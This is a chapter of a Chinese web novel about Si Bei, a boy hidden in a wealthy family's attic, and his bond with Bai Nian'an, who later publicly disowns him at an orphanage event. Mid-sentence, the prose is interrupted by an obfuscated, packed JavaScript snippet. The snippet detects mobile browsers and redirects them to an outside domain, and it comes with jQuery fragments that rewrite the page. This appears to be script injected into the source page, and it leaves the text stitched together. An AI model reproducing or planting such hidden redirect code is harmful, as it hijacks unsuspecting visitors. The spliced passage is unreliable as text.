接下来的日子司北几乎是数着过去的,他从未想要时间能过得这么快些。
他一会儿坐在床上翻看着已经看完了的书籍,一会又悄咪咪的蹲在门口听着外面的动静,就这样在房间里来回踱步,最后窗外响动了翻,司北立马转过头去。
那扇小窗被敲了敲,白念安半弯着腰示意司北快点开窗。
窗户一开,白念安松了口气:“你再慢一点我就要从梯子上摔下去啦。”
“今天为什么不从门这里进?”司北眨巴眨巴眼。
“家里最近莫名其妙的多了几处监控,听我妈妈说……好像是抓、抓什么、哦想起来了,抓奸。”
白念安挽起唇,笑着问:“你知道抓奸是什么意思吗?”
司北摇摇脑袋,他哪里懂:“听起来不像是好话,肯定你安安哥哥你家里进贼啦。”
白念安点点头:“应该是的吧,不说这个了。”
“当当当当!”一个品相近乎完美的曲奇小蛋糕出现在司北面前:“怎么样,可爱吗?”
上面晃晃悠悠的插了根星星蜡烛,在寂夜里闪烁着光芒。
司北捂着嘴,小声的“哇”了下:“安安哥哥,这就是你说的过生日的时候要吃的生日蛋糕吗?”
白念安反复观摩了下那个巴掌大的小蛋糕:“怎么了?看着不像吗?”
见司北迟疑了会儿,白念安不满的噘着嘴:“喂,这可是我在学校的烹饪房做了十几遍才做成功的小蛋糕。”
“我手都被烫伤了!你看。”白念安伸出右手,上面的一个很浅很浅已经被处理过的小烫疤很醒目。
“吹吹你。”司北很小口的朝着白念安手边吹了凉气儿。
白念安看了眼表,距离16号只有最后一分钟了:“快快快,点蜡烛许愿了。”
星星蜡烛点燃的一瞬间,炫丽的烟花迸射开来,点亮了这间小阁楼,司北瞪大了眼,但又害怕,紧紧地依靠在白念安身旁动都不敢动。
“发什么呆啊,快许生日愿望。”
“我许愿……”司北双手合十,白念安却一只手捂住了他的嘴:“不要说出来哦,要不然不会实现的。”
司北犹豫了会儿,说:“那如果我是向你许愿呢,安安哥哥。”
“你会实现我的愿望吗?”
白念安噗嗤笑出了声:“干嘛啊?人家许愿都是向着神明祷告的,你为什么要朝着我许愿啊。”
“当然了,你知道的,我什么都可以做到,做什么都是第一名,所以你的愿望我当然可以实现的轻轻松松啦。”
白奶男再次点燃了那只蜡烛,跳动的火焰倒映在他的双眼里,包括司北。
他说:“那就向我许愿吧。”
“会实现吗?”司北问。
“会吧。”
司北闭上眼,双手合十,向着他的神明许愿——
希望安安哥哥可以如愿以偿,实现自己的梦想,然后带着我一起去外太空,我们要一起流浪宇宙。
司北睁开眼,他想吹灭那根蜡烛,却被没能关紧的窗户刮起的一阵风替他吹灭了,阁楼里陷入了黑暗之中,雨水拍打在琉璃窗之上,六月天司北竟觉得开始冷起来了。
白念安抬起手,一只用不织布做成的白色小猫吊坠出现在司北眼前:“你的生日礼物,要收好哦,不可以弄丢了。”
“我可是抽出学习时间绣了好久呢。”白念安把小猫吊坠塞进了司北手里,说话居然开始磕绊起来:“我、我先下去了。”
司北有些懵懵的,还是乖巧的点点头:“晚安,明天见哦。”
等白念安走了后,司北窝进被子里,小心翼翼的捧着那个小玩偶吊坠,生怕碰坏一点,虽然这种布料按理来说很难人为破坏的。
司北望着天花板,床头柜旁摆放着的是白念安特意为他买来的八音盒小灯,轻轻一拉,就可以听见悦耳的鸟之诗,供着他在每一刻等待白念安的时候打发时间。
他抱着那只小白猫玩偶入了眠,又贪心的不知道对着谁许了愿。
要是可以一直这样在一起就好了。
-
转折点是出现在那片可以从阁楼上看见的后花园,白迟又逃课了,他一个人偷偷猫在后花园里,躲避着白祥君的呼喊。
与此同时,司北也躲在窗边露出一双眼睛看着窗外的世界,那个小孩上一秒还拿着捕蝶网到处飞扑,下一秒却直接栽进了花坛里,吓得司北神经一紧。
过了好久,白迟居然没有一点动静。
不会要出什么事儿吧……司北咽了口唾沫,决心再观察观察,过了几分钟,还是没有人发现那个死角区域里的白迟,那小孩和死掉了一样毫无声息。
司北的手搭在了门把手上,他记得白念安告诉过他:不能让任何人发现他的存在。
可是那个小孩是白念安的哥哥啊,出了事情,他一定会很难过的。
司北冲出了阁楼,他急匆匆的朝着楼下走去,遇见的第一个大人是模样姣好的女人,不知为何,那双眼下乌青一片,惊愕的瞪着司北。
司北拉起女人的手:“后面、后面有个小孩、他、栽进去了。”
“在哪儿!”
女人用力抓住司北的肩头,几乎要将他捏碎了的。
“后面、都是花的地方。”
后面的事情司北有些记不清了,他只记得白家陷入了混乱里,飞来了一家直升机,载着面色苍白,气息微弱的白迟而去,无暇顾及这么一个陌生小孩出现在自己的家里。
司北怀揣着侥幸心理,一个人又回到了阁楼之上。
他期待着白念安会在他拨弄第四十七次八音盒灯,听过第四十七次鸟之诗后回来,就像从前一样。
可是没有。
司北一个人猫在角落了一天一夜,白念安都没有回来,整个白家仿佛陷入了死寂之中。
他不敢下楼,怕被那些佣仆看到后就不要司北再次上阁楼了,这样安安哥哥回来见不到他了怎么办?
四天三夜,司北几乎滴水未进,只吃了一些房间里的零嘴,他的面色变得越来越苍白,模糊间他听到了剧烈的争吵声,似乎是白念安的爸爸妈妈的声音。
过了会儿,司北听见了一个小孩哭泣的声音,随着一声巨大的关门声,整个东山墅再次陷入了一片寂静里。
再后来,他因长时间没有进食进水陷入了昏迷里。
-
“阿权,你不许动人家的东西!”
“就是玩一玩嘛,嘁,不就一个破娃娃,缝的丑死了。”
那个“破小白猫”吊坠又塞进了司北的手里,塞的力度实在是大,居然让他听见了白念安的声音。
“我姓白,这只猫也是白色的,我把它送给你,这样你就不是一个人了哟。”
……
司北苏醒了,白花花的病房与昏暗的阁楼形成鲜明的对比,刺的他几乎睁不开眼睛。
一个正值壮年看着很亲和的女人坐在床边,见司北醒了过来才松了口气:“你终于醒了。”
很奇怪,只是饿了几天导致昏迷,输几天液恢复身体机能就行,可司北却足足昏迷了一个月,医生对此的解释是患者潜意识里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623151|170674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在逃避现实,不愿意面对。
司北呆愣愣的望向窗外,他难以发声,嗓子几乎干涩的无法开口。
“不能急着说话,来喝点水先。”女人倒了杯温热的水递给了司北。
啪嗒!
水杯被打翻在地。
司北定了定神,看清楚了女人的工作胸牌,上面清清楚楚的写着“蓝怡山福利院院长柳文青”
“我不要跟你回去!”司北拖着沙哑的声音,他的身体已经缺水到流不出一滴泪来。
柳文青无奈的看着眼前的这个小孩,司北算是她经营福利院这么多年遇见过最硬的茬儿。
初到福利院已示反抗竟然可以连续接近小一周不吃不喝,也不和任何人交流,无论他们说什么都不听。
柳文青只能软着来:“小北,你年龄太小了,你的爸爸妈妈我们也联系了很久都没有下落,福利院不是不好的地方,没有家的孩子都会……”
“可是我有、我有家的……”司北布满血丝的双眼颤着的,他拽住柳文青的手:“我真的有家的,我还有家人。”
“他叫安……不是,他叫白念安,我们在一起生活,他给我做饭,教我看书写字……”司北瘪着下巴,委屈极了但还是很认真的跟女人解释:“他还给我过生日,安安哥哥只是有事情,他不会不要我的。”
柳文青不忍的扭过头,他叹了口气:“你说的白念安,今天应该和她母亲在福利院进行慈善捐助活动,你如果想见他的话,就去吧。”
司北扬起笑容,那颗明晃晃的虎牙尖露在外,他在离开病房前忽然想起了白念安说过的,要做个有礼貌的小孩。
于是他对着柳文青鞠了一躬:“谢谢院长阿姨。”
这家医院距离福利院并不远,在柳文青的指引下,司北终于赶到了现场了,福利院被布置的很隆重,大门口挂了横幅——欢迎Ares集团主理人著名慈善企业家白祥君女士到访。
司北没有很急着进去,他对着一个小水坑的倒影整理了好久头发和衣服,一会见到的不仅有安安哥哥,还有他的妈妈,说不定司北只需要表现的听话一点,就可以又回到了他们的“家”。
白祥君这么多年以来一直致力于慈善基业,蓝怡山也是她重点帮扶的项目之一,现场到了许多媒体,对着台上几个小孩正在诗朗诵进行特摄,不少记者等候在外场准备采访环节,整个福利院人头攒动,热闹非凡。
司北小小矮个挤在人群中,他左右寻找了一圈,最终目光落在了那个挺直着腰杆,坐在第一排的白念安身上。
一个月没见,白念安似乎也瘦了些许,是因为也很想他吗?
司北憋不住笑,猫着腰到了白念安身旁,轻轻拽了拽那人的衣袖。
白念安转过头,司北立马对着他比了个“嘘”的手势:“不要出声,我们一起去其他地方。”
那天的人声格外嘈杂,可白念安的话落在耳边却掷地有声。
“你是谁?我不认识你。”
白念安看着那双不算干净的手紧紧攥着自己的衣袖不愿松开,他有些厌烦的蹙起眉头,生硬的把手撇开。
“不要碰我。”
“安安哥哥……”司北的声音几乎小的都要听不见了。
坐在白念安身旁的女人轻飘飘的朝着他扫了眼,几个西装革履的男人出现,将司北带离了现场。
他呆愣愣的望着那个背影,从始至终,白念安都没有回头看他一眼,一次都不。
那个说永远不会抛弃他的白念安食了言。
白念安是全天下最可恶的大骗子。